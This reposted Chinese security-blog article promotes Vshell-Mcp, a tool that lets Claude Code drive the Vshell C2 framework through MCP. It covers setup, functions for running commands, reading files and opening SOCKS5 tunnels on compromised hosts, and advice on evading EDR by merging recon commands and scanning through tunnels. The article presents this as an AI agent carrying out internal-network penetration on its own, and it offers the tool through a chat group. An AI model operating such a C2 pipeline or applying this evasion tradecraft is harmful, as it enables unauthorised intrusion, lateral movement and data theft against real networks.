Vshell-Mcp 让你的AI也能自动打内网!
船山信安
2026年7月9日 12:37
湖南
在小说阅读器读本章
去阅读
编者荐语:
转一个大佬的文章,大家支持下。
以下文章来源于教红队的Des
,作者Des
教红队的Des
.
分享web安全、红蓝攻防、应急响应、攻防打点案例相关内容,定期通知和直播公开课,同步课件资料靶场环境等
Vshell Mcp 打通 Vshell C2 与 Claude Agent智交互,AI 自主调度内网 Agent 执行探测、横向移动、权限提取,完整内网渗透流程全自动落地!
① Vshell 服务端地址(比如 http://192.168.80.138:8082)
② Vshell 登录账号密码(比如 admin / qwe123qwe)
③ 本机装了 Python 3.10+
确认能访问 Vshell:
浏览器访问即可 确认Vshell运行 http://192.168.80.138:8082/api/dashboard/info
返回 JSON 而不是连接失败,说明地址是对的。
一键配置
直接一个脚本搞定配置和部署到MCP
可以用脚本一步到位(划重点)
cd C:\\Users\\Administrator\\Desktop\\Vshell-mcp
python vshell_config.py --reinstall
① POST /api/login → 拿到 JWT Token
② 双头认证验证 dashboard → 确认 Token 有效
③ 写入MCP 配置
03 / 注册到 Claude
自动写入 C:\\Users\\Administrator\\.claude\\settings.json。
重启 Claude Code,输入:
/mcp
返回如下即配置成功:
卸载
成功卸载
实战过程
以下内容为本机自建靶场,模拟逻辑隔离内网的实战环境
直接让AI加载Vshell-mcp对应的skills,同步Des师傅的内网横向移动蒸馏技能!
load skills之后直接让AIcheck vshell 加载skills熟悉一下就可以上战场了
建议本地虚拟机先测一下
文件上传/下载
信息收集一步到位
通过上线Agetn实现命令执行
建立隧道,Socks5实现跨网段命令执行
获取战果写报告
配置完先用这几个命令熟悉一下:
① vshell_server_info() 看服务状态
② vshell_list_clients() 看有哪些 Agent 在线
③ vshell_exec_cmd(合并命令) 在 Agent 上执行命令
④ vshell_read_file() 读 Agent 上的文件
⑤ vshell_start_socks5(force=True) 建 SOCKS5 隧道
开发总结,对武器开发感兴趣的同学可以看看,不感兴趣直接跳到最后领取McP工具和skills ~~
1、多进程卡死Agent进程
vshell_exec_cmd(87, \"whoami\")
vshell_exec_cmd(87, \"ipconfig\")
vshell_exec_cmd(87, \"systeminfo\")
每发一条,Agent 上创建一个 cmd.exe 进程。连续 N 条 = N 个进程,EDR 报警,Agent 被 kill。
解法:合并成一条
- whoami
- ipconfig
- systeminfo
+ cmd /c \"whoami&ipconfig&systeminfo&netstat -ano\"
一条命令 = 一个 cmd.exe。Agent 存活时间从 2 分钟延长到 30 分钟。
还有,读文件不要用 type(那又是一个 cmd.exe),用文件 API:
vshell_read_file(87, \"C:/result.txt\") # 走 Agent 协议通道,0 额外进程
2、AI的for循环在Agent上炸开
forportin [8001,8002,8003,8004,8005,8006]:
forpathin [\"/\",\"/api\",\"/login\",\"/admin\"]:
shell(87, f\"curl -s http://127.0.0.1:{port}{path}\")
36 个 curl 进程在 Agent 上瞬间炸开,EDR 秒杀。
解法:建 SOCKS5,本机扫
# 先在 Agent 上建一个隧道(1 个进程)
vshell_start_socks5(87, port=1080)
# 然后本机 curl,Agent 上 0 额外进程
forportin [8001, 8002, ...]:
curl--socks5127.0.0.1:1080http://target:{port}/
3、文件IO优先,不要命令执行取结果
针对大文件和反复IO的读取文件的操作,最好通过文件接口实现。直到 DevTools 抓包才看到真实格式:
{\"id\": \"86\", \"path\": \"C:/\", \"target\": \"scan_80.txt\"}
·path 只传目录,不包含文件名·target 单独传文件名
4、两个 API 必须分清
| API | 用途 | 特点 |
|---|---|---|
/api/terminal/shell |
短命令(whoami) | 同步,等执行完才返回 |
/api/terminal/exec |
耗时任务(fscan) | 异步,发完就回 |
# ✅ 短查询用 shell
vshell_exec_cmd(87, \"whoami\")
# ✅ 耗时任务用 exec + 后读文件
vshell_exec_async(87, \"start /b C:\\\\fs.exe -h 192.168.80.0/24 -np\")
time.sleep(15)
vshell_exec_cmd(87, \"taskkill /f /im fs.exe 2>nul\")
vshell_read_file(87, \"C:/scan_result.txt\")
▎用 shell 跑 fscan → session 卡死 120 秒。用 exec 跑 → 5 秒返回。
标准作业流程
① vshell_list_clients() 找 Agent
② vshell_exec_cmd(合并命令) 拿信息
③ vshell_start_socks5(force=True) 建隧道
④ vshell_list_dir + read_file 读已有结果
⑤ 本机 curl 扫内网 不碰 Agent
⑥ taskkill + 读文件 回收
总结
- 命令合一条,绝不分开发, 一条命令一个 cmd.exe,分开容易G
- 扫描本地跑,Agent 只做跳板 ,AI自动建立 SOCKS5隧道,本机扫,Agent 没负担
领取工具进下面的群聊,同时欢迎大家进群交流讨论!
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。








评论